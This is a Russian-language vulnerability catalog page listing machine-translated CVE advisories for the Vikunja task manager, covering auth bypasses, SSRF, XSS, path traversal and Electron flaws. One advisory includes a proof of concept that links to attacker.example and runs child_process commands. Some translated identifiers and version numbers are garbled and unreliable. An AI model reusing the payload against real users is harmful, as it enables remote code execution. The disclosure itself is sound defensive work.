V
Сканер-ВС
ГлавнаяКаталогИсточникиCWECAPECATT&CKМеры защитыПродуктыВендорыДокументация
← Вернуться к списку
nvd,anchore_overrides

Vikunja

Уязвимости
35
Эксплуатируемые
0
Критический
3
Высокий
10

Топ продуктов

Топ уязвимостей

CVE-2026-28268Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Версии до 2.1.0 имеют уязвимость бизнес-логики в механизме сброса пароля Vikunja/api, которая позволяет повторно использовать токены сброса пароля в течение неопределенного периода. Из-за неспособности признать недействительными токены при использовании и критической логической ошибки в работе по очистке токенов, токены сброса остаются действительными навсегда. Это позволяет злоумышленнику, который перехватывает один токен сброса (через журналы, историю браузера или фишинг), выполнить полное, постоянное поглощение учетной записи в любой момент в будущем, минуя стандартные элементы управления аутентификацией. Версия 2.1.0 содержит патч для выпуска.
CVE-2026-34727Vikunja - это самостоятельный интерфейс с открытым исходным кодом платформы для управления задачами. До 2.3,0 обработчик обратной связи OIDC выдает полный токен JWT, не проверяя, включен ли подключенный пользователь включен двухфакторная аутентификация TOTP. Когда локальный пользователь с включенным TOTP сопоставляется через механизм резервного копирования электронной почты OIDC, второй фактор полностью пропускается. Эта уязвимость исправлена в 2.3.0.
CVE-2026-27575Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.0.0 приложение позволяет пользователям устанавливать слабые пароли (например, 1234, пароль) без соблюдения минимальных требований к прочности. Кроме того, активные сеансы остаются действительными после того, как пользователь меняет свой пароль. Нападающий, который компрометирует учетную запись (через грубую силу или начинку учетных данных), может поддерживать постоянный доступ даже после того, как жертва сбросит свой пароль. Версия 2.0.0 содержит исправление.
CVE-2026-25935Vikunja - это приложение для организации вашей жизни. До 1.1.0 TaskGlanceTooltip.vue временно создает див и устанавливает ininHtml описание. Поскольку на сервере или клиентской стороне не происходит побег, злоумышленник может поделиться проектом, создать вредоносную задачу и вызвать XSS на зависании. Эта уязвимость фиксируется в 1.1.0.
CVE-2026-35595Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. До 2.3,0, проверка CanUpdate на pkg/models/project_permissions.go:139-148 требует только CanWrite о новом родительском проекте при смене parent_project_id. Тем не менее, модель разрешения Vikunja использует рекурсивный CTE, который поднимает иерархию проекта для вычисления разрешений. Перемещение проекта под другим родителем меняет цепочку наследования разрешений. Когда пользователь унаследовал доступ к записи (от доли родительского проекта) и переродил детский проект под своим собственным проектным деревом, CTE решает, что их право собственности на нового родителя как администратора (уровень разрешения 2) на перемещенном проекте. Эта уязвимость исправлена в 2.3.0.
CVE-2026-33678Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.2.1, «TaskAttachment.ReadOne()` запрашивает вложения только по ID (В ГДЕ id = ?`), игнорируя идентификатор задачи с пути URL. Проверка разрешения в «CanRead()` проверяет доступ к задаче, указанной в URL, но «ReadOne()` загружает другое приложение, которое может принадлежать задаче в другом проекте. Это позволяет любому аутентифицированному пользователю загружать или удалять любое вложение в системе, предоставляя свой собственный доступный идентификатор задачи с идентификатором целевого вложения. Идентификаторы крепления являются последовательными целыми, что делает перечисление тривиальным. Версия 2.2.1 исправляет проблему.
CVE-2026-33316Vikunja - это самостоятельная платформа управления задачами с открытым исходным кодом. До версии 2.2.0 изъян в логике сброса пароля Vikunja позволяет пользователям с ограниченными возможностями восстановить доступ к своим учетным записям. Функция «Сбросить пароль()` функции устанавливает статус пользователя на «СтотусКививировать» после успешного сброса пароля без проверки того, была ли учетная запись ранее отключена. Запросив токен на сброс через `/api/user/password/token` и завершив сброс через `/api/v1/user/password/reset`, отключенный пользователь может повторно активировать свою учетную запись и обойти отключение учетной записи, наложенной администратором. Версия 2.2.0 исправляет проблему.
CVE-2026-35597Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. До 2.3,0 механизм блокировки TOTP не является функциональным из-за ошибки обработки транзакций в базе данных. Когда проверка TOTP не работает, обработчик входа в pkg/routes/api/v1/login.go вызывает HandleFailedTOTPauth, а затем безоговорочно откатывает назад. HandleFailedTOTPauth в pkg/user/totp.go использует счетчик памяти (магазин ключей) для отслеживания неудачных попыток. Когда счетчик достигает 10, он вызывает пользователя.SetStatus(s, StatusAccountLocked) на тех же сессиях базы данных. Поскольку обработчик входа всегда откатывает назад после сбоя TOTP, запись StatusAccountLocked неисполнена. Счетчик памяти правильно инкребит за 10, поэтому код блокировки выполняется при каждой последующей попытке, но запись базы данных каждый раз откатывает назад. Это позволяет неограниченные попытки грубой силы против кодов TOTP. Эта уязвимость исправлена в 2.3.0.
CVE-2026-33679Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.2.1 функция `DownloadImage` в `pkg/utils/avatar.go` использует голый `http.Client{}` без защиты SSRF при загрузке пользовательских изображений аватара из OpenID Connect `picture` указать URL. Злоумышленник, который контролирует URL-адрес изображения профиля OIDC, может заставить сервер Vikunja делать HTTP-запросы GET на произвольные внутренние или облачные конечные точки метаданных. Это обходит защиту SSRF, которая правильно применяется к системе webhook. Версия 2.2.1 исправляет проблему.
CVE-2026-27616Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.0.0 приложение позволяет пользователям загружать файлы SVG в качестве вложений задач. SVG - это формат на основе XML, который поддерживает выполнение JavaScript с помощью таких элементов, как «script> теги» или обработчики событий, такие как загрузка. Приложение не дезинфицирует контент SVG перед его хранением. Когда загруженный файл SVG доступен через его прямой URL-адрес, он отображается в строке в браузере в зависимости от происхождения приложения. В результате встроенный JavaScript выполняется в контексте аутентифицированного пользователя. Поскольку токен аутентификации хранится в localStorage, он доступен через JavaScript и может быть получен с помощью вредоносной полезной нагрузки. Версия 2.0.0 латирует эту проблему.
CVE-2026-27819Vikunja - это самостоятельная платформа управления задачами с открытым исходным кодом. До версии 2.0.0 функция восстановленияКонфиденции в хранилище vikunja/pkg/modules/dump/restore.go в хранилище go-vikunja/vikunja не может санировать пути файлов в предоставленном архиве ZIP. Злоумышленно созданный ZIP может обойти предполагаемый каталог извлечения, чтобы перезаписать произвольные файлы в системе хоста. Кроме того, мы обнаружили, что уродливый архив вызывает панику в режиме выполнения, срывая процесс сразу после того, как база данных была стерта навсегда. Приложение доверяет метаданные в архиве ZIP. Он использует атрибут Name zip.File struct прямо в звонках os.OpenFile без проверки, позволяя файлам писать за пределами предполагаемого каталога. Логика восстановления предполагает определенную структуру каталога в ZIP. При предоставлении «минималистской» вредоносной ZIP приложение не проверяет длину срезов, полученных из содержимого архива. В частности, на линии 154 код пытается получить доступ к индексу len(ms)-2 на недостаточно населенном срезе, вызывая панику. Версия 2.0.0 исправляет проблему.
CVE-2026-35602Vikunja - это самостоятельный инструмент для управления задачами с открытым исходным кодом. До 2.3,0, конечная точка импорта файла Vikunja использует поле размера, контролируемое злоумышленником, из метаданных JSON внутри почтой импорта вместо фактической длины декомпрессированного содержимого файла для проверки принудительных действий по размеру файла. Установив размер до 0 в JSON, включая большие записи сжатого файла в почтовый индекс, злоумышленник обходит настроенный предел максимального размера файла. Эта уязвимость фиксируется в пункте 2.3.0.
CVE-2026-33668Vikunja - это самостоятельный сервис с открытым исходным кодом. Начиная с версии 0.18.0 и до версии 2.2.1, когда учетная запись пользователя отключена или заблокирована, проверка состояния осуществляется только на местных путях обновления логина и токена JWT. Три других пути аутентификации — токены API, базовый аут CalDAV и OpenID Connect — не проверяют статус пользователя, что позволяет отключенным или заблокированным пользователям продолжать доступ к API и синхронизировать данные. Версия 2.2.1 исправляет проблему.
CVE-2026-33700Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. До версии 2.2.1 конечная точка «DELETE /api/v1/projects/project/shares/:share` не проверяет, принадлежит ли по ссылке проект, указанный в URL. Злоумышленник с админ-доступом к любому проекту может удалить ссылки из других проектов, предоставив свой собственный идентификатор проекта в сочетании с идентификатором целевого общего ресурса. Версия 2.2.1 исправляет проблему.
CVE-2026-33315Vikunja - это самопровозглашенная платформа управления задачами с открытым исходным кодом. До версии 2.2.0 конечность Caldav позволяет входить в систему с использованием Basic Authentication, что, в свою очередь, позволяет пользователям обходить TOTP на учетных записях с поддержкой 2FA. Затем пользователь может получить доступ к стандартной информации проекта, которая обычно защищена за 2FA (при включении), например, название проекта, описание и т.д. Версия 2.2.0 исправляет проблему.
CVE-2026-35599Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. До 2.3.0 функция adRepeatIntervalToTime использует цикл O(n), который продвигает дату по продолжительности повтора задачи до тех пор, пока она не превысит текущее время. Создавая повторяющуюся задачу с 1-секундным интервалом и датой, срок давности в прошлом, злоумышленник запускает миллиарды итераций циклов, потребляя процессор и удерживая соединение базы данных в течение нескольких минут за запрос. Эта уязвимость исправлена в 2.3.0.
CVE-2026-35594Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. До 2.3,0 аутентификация доли ссылки Vikunja (GetLinkShareFromClaims in pkg/models/link_sharing.go) полностью создает объекты авторизации из претензий JWT без проверки базы данных на стороне сервера. Когда владелец проекта удаляет долю ссылки или понижает ее разрешения, все ранее выпущенные JWT продолжают предоставлять первоначальный уровень разрешения на срок до 72 часов (по умолчанию service.jwtttl). Эта уязвимость исправлена в 2.3.0.
CVE-2026-33680Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.2.2 метод «LinkSharing.ReadAll()` позволяет пользователям, использующих ссылки, перечислять все ссылки на акции для проекта, включая их секретные хэши. В то время как `LinkSharing.CanRead()`` правильно блокирует пользователей ссылок от чтения отдельных акций через `ReadOne?, обработчик «ReadAllWeb`» обходит эту проверку, никогда не звоня в «Cand()`. Злоумышленник с долей ссылки только для чтения может получить хейши для записи или админ-связь акций в одном и том же проекте и аутентифицироваться с ними, перерастая в полный доступ администратора. Версия 2.2.2 исправляет проблему.
CVE-2026-33677Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.2.1, `GET /api/v1/projects/project/webhooks` конечная точка возвращает Webhook BasicAuth учетные данные (`basic_auth_user`` и `basic_auth_password`) в открытом тексте любому пользователю с доступом к проекту. В то время как существующий код правильно маскирует поле HMAC `secret`, поля BasicAuth, добавленные в более позднюю миграцию, не получали такой же обработки. Это позволяет только для чтения сотрудников красть учетные данные, предназначенные для аутентификации, против внешних получателей веб-крючков. Версия 2.2.1 исправляет проблему.
CVE-2026-33676Vikunja - это самостоячная платформа управления задачами с открытым исходным кодом. До версии 2.2.1, когда Vikunja API возвращает задачи, он заполняет поле `__tasks` полными объектами задач для всех связанных задач, не проверяя, прочитал ли запрашивающий пользователь разрешение на проекты этих задач. Аутентифицированный пользователь, который может прочитать задачу, имеющую межпроектные отношения, получит полную информацию (название, описание, сроки, приоритет, прохождение, идентификатор проекта и т. д.) задач в проектах, к которым у него нет доступа. Версия 2.2.1 исправляет проблему.
CVE-2026-33474Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 1.0.0-rc0 и до версии 2.2.0, безграничное декодирование изображения и изменение размера во время генерации предварительного просмотра позволяет злоумышленнику выпускать процессор и память с высоко сжатыми, но чрезвычайно крупномерными изображениями. Версия 2.2.0 латает проблему.
CVE-2026-33336Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Vikunja Desktop Electron обеспечивает «nodeIntegration` в основном BrowserWindow» и не ограничивает навигацию в одно и то же окно. Злоумышленник, который может разместить ссылку в пользовательском контенте (описания задач, комментарии, описания проектов), может заставить BrowserWnow перейти к контролируемому злоупотреблятелем происхождению, где JavaScript выполняется с полным доступом Node.js, что приводит к произвольному выполнению кода на машине жертвы. Версия 2.2.0 исправляет проблему. # # Root причина Две ошибок объединяются, чтобы создать эту уязвимость: 1. **`nodeIntegration: true`** устанавливается в «BrowserWindow` веб-предположения» (`esktop/main.js:16`), предоставляя любую страницу, загруженную в рендерингере, полный доступ к API (`require/, `child_process`, `fs`, etc. 2. 2. ** Никакой `will-nvigate` или ``will-redirect` Обработчик** не зарегистрирована "webContents`". Существующий `setWindowOpenHandler` (`desktop/main.js:19-23`) только перехватывает `window.open()` звонки (new-Window.indow)` (запросы на новое окна). Он не перехватывает те же навигации с окнами, вызванные: - `<a href="https://">` ссылки (без `Це-нацеливания="_blank"`) - "window.location` назначения" - HTTP перенаправления - `<meta http-equiv="refresh">` теги ## сценарий атаки 1. Агитатор является обычным пользователем в том же экземпляре Vikunja (например, участник общего проекта). 2. 2. Злоумышленник создает или редактирует описание проекта или описание задачи, содержащее стандартную HTML-ссылку, например: `<a href="https://evil.example/exploit">Нажмите здесь для обновленного дизайна spec</a>` 3. 3. Фронтенд Vikunja отображает это звено. Дезинфекция DOMPurify правильно позволяет это - это законная якорная тега, а не инъекция сценариев. Пример пути воспроизведения: `frontend/src/views/projectInfo.vue` использует `v-html` с продезинфицированным DOMPurify выводом. 4. Жертва использует Vikunja Desktop и нажимает на ссылку. 5. Поскольку обработчик «Will-navigate` не существует», BrowserWindow переходит к `https://evil.example/exploit` в том же процессе рендеринга. 6. 6. Страница злоумышленника теперь выполняет в контексте с «nodeIntegration: true`» и работает: `require('child_process'.exed)('id > /tmp/pwned');` 7. Произвольные команды выполняются как пользователь ОС жертвы. # # Impact Полное удаленное выполнение кода на рабочем столе жертвы. Злоумышленник может считывать/пишет произвольные файлы, выполнять произвольные команды, устанавливать вредоносные или бэкдоры, а также эксфильтровать учетные данные и конфиденциальные данные. Уязвимость XSS не требуется - достаточно нормальной гиперссылки, одобренной дезинфицирующим средством. ## Доказательство концепции 1. Создайте экземпляр Vikunja с двумя пользователями, разделяющими проект. 2. 2. Как пользователь злоумышленника, отредактируйте описание проекта, чтобы включить: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. 3. Ведущий poc.html с: `<script>require('child_process'.exec('calc.exe')</script>` 4. Как жертва, откройте проект в Vikunja Desktop и нажмите на ссылку. 5. calc.exe (или любая другая команда) выполняет на машине жертвы. ## Кредиты Эта уязвимость была обнаружена с помощью [GitHub Security Lab Taskflows] (https://github.com/GitHubSecurityLab/seclab-taskflows).
CVE-2026-33334Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Vikunja Desktop Electron позволяет «nodeIntegration`» в процессе рендеринга без `contextIsolation` или «песочницы». Это означает, что любая уязвимость кросс-сайтов (XSS) в веб-фронтере Vikunja - настоящее или будущее - автоматически перерастает в полное удаленное выполнение кода на машине жертвы, поскольку инъекционные скрипты получают доступ к API Node.js. Версия 2.2.0 исправляет проблему.
CVE-2026-33335Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Vikunja Desktop Electron передает URL-адреса из `window.open()` звонит непосредственно на `shell.openExternal()` без какого-либо валидационного или протокола. Злоумышленник, который может разместить ссылку на `target="_blank"` (или который в противном случае запускает `window.open`) в пользовательском контенте, может заставить операционную систему жертвы открывать произвольные схемы URI, ссылаться на локальные приложения, открывать локальные файлы или вызывать обработчиков пользовательских протоколов. Версия 2.2.0 исправляет проблему.
CVE-2026-27116Vikunja - это самостоятельный доступ к платформе управления задачами с открытым исходным кодом. До версии 2.0.0 в модуле Projects существует отраженная уязвимость HTML-инъекций, где параметр URL-адреса «фильтр» отображается в DOM без кодировки вывода при нажатии пользователя «Фильтр». В то время `<script>` и `<iframe>` заблокированы `<svg>`, `<svg>`, `<a>`, и форматирование тегов (`<h1>`, `<b>`, `<u>`) рендеринга без ограничений - включение кнопок фишинга на основе SVG, внешних ссылок на перенаправление и спуфинга контента в пределах доверенного происхождения приложения. Версия 2.0.0 исправляет эту проблему.
Открыть в каталоге с фильтром по вендору →